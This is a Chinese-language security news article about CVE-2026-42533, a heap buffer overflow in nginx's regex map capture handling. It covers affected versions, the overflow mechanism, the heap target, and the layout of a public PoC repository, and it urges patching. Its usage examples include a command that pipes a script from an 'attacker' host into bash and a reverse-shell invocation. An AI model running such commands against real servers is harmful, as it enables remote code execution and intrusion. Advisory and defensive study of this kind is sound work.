CVE-2026-42533—nginx堆缓冲区溢出PoC漏洞利用"

admin 2026-10-18 08:59:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CVE-2026-42533 — nginx 堆缓冲区溢出 PoC 漏洞利用

Ots安全

2026年7月28日 14:32
广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

公开 PoC 于 2026 年 7 月 27 日发布——不要等待,立即打补丁。

CVE CVE-2026-42533
CVSS 4.0 9.2(严重)
类型 堆缓冲区溢出(CWE-122)
做作的 nginx 0.9.6 – 1.30.3(稳定版),0.9.6 – 1.31.2(主线版)
固定的 nginx 1.30.4 / 1.31.3,NGINX Plus R36 P7 / 37.0.3.1
已披露 2026-07-15 (F5 / NGINX)
PoC已发布 2026-07-27
研究员 斯坦·肖(0xCyberstan)

概述

CVE-2026-42533 是 nginx 双遍字符串求值引擎中的一个严重堆缓冲区溢出漏洞。当基于正则表达式的map指令与编号捕获组(例如 <p> $1、$2<p> 等)交互时,共享r->captures结构会在 LEN(测量)和 VALUE(写入)两遍之间被静默覆盖。这会导致大小不匹配:

  • 更大的捕获 → 堆缓冲区溢出(攻击者控制的越界写入)
  • 较小的捕获 → 信息泄露(未初始化的堆内存暴露,libc/堆指针泄露)

这两个原语结合在一起,可以实现可靠的预认证远程代码执行,绕过 ASLR——在 Ubuntu 24.04 上以 10/10 的可靠性进行了验证。

工作原理

┌─────────────────────────────────────────────────────────────┐
│ LEN PASS (measure) │
│ $1 from location ~ ^/api/(...)$ = \"abc\" → measures 3 bytes│
│ $overflow_gadget = giant_header → measures 5000 bytes │
│ Buffer allocated:5003 bytes │
│ │
│ [ $overflow_gadget triggers map regex → clobbers $1 ] │
│ $1 now = giant_header (5000 bytes) │
│ │
│ VALUE PASS (write) │
│ $1 writes 5000 bytes (LEN said 3!) → OVERFLOW! │
│ $overflow_gadget writes 5000 bytes │
│ Total written:10000 bytes into 5003-byte buffer │
│ → 4997 bytes overflow into adjacent heap │
└─────────────────────────────────────────────────────────────┘

溢出会破坏相邻的堆结构。主要目标是ngx\_pool\_cleanup\_t:

structngx_pool_cleanup_s {
    ngx_pool_cleanup_pt handler; // function pointer → overwrite for RIP control
    void                *data; // argument to handler
    ngx_pool_cleanup_t  *next; // next in chain
};

当连接池被销毁时,handler(data)会调用 → 任意代码执行。

存储库结构

CVE-2026-42533/
├── exploit/
│ ├── exploit.py       # Full exploit chain (leak → spray → overflow → RCE)
│ ├── leak.py          # Info leak module (heap/libc pointer leak)
│ ├── overflow.py      # Heap overflow module (crash / RCE trigger)
│ ├── analyze.py       # GDB analysis helper for offset determination
│ └── requirements.txt # Python dependencies
├── nginx/
│ └── nginx.conf       # Vulnerable nginx configuration
├── Dockerfile # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml # Docker Compose for easy deployment
└── README.md

完整漏洞利用链

python3 exploit/exploit.py<target> [options]

# Examples:
python3 exploit/exploit.py192.168.1.100                    # full auto
python3 exploit/exploit.py192.168.1.100 --leak-only        # recon only
python3 exploit/exploit.py192.168.1.100 --crash # verify vuln
python3 exploit/exploit.py192.168.1.100 --cmd \"id > /tmp/pwned\"

# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py192.168.1.100 \\
    --libc 0x7f1234000000 \\
    --heap 0x5a1234000000 \\
    --cmd \"curl http://attacker/shell.sh | bash\"

# Reverse shell
python3 exploit/exploit.py192.168.1.100 \\
    --reverse-shell --lhost 10.0.0.1 --lport 4444

易受攻击的配置模式

该漏洞利用需要nginx配置中存在以下特定模式:

# 1. A regex-based map (clobbers capture state)
map $http_x_overflow$overflow_gadget {
    \"~^(.+)$\"  $1; # regex match overwrites $1
    default \"\";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ { # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 \"$1$overflow_gadget\"; # ← two-pass sink
    }
}

POC:

https://github.com/imbas007/cve-2026-42533

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


黑客暗网公开Takriz黑客组织身份信息" 网络安全文章

黑客暗网公开Takriz黑客组织身份信息"

文章报道暗网公开了突尼斯黑客组织takriz成员的身份信息。该组织是区域性草根黑客行动主义团体,技术能力中等,主要进行网站篡改、信息爬取和人肉搜索。近期因mytt应用相关网络冲突导致内部数据泄露,但泄露数据包真实性未被独立验证。
评论:0   参与:  0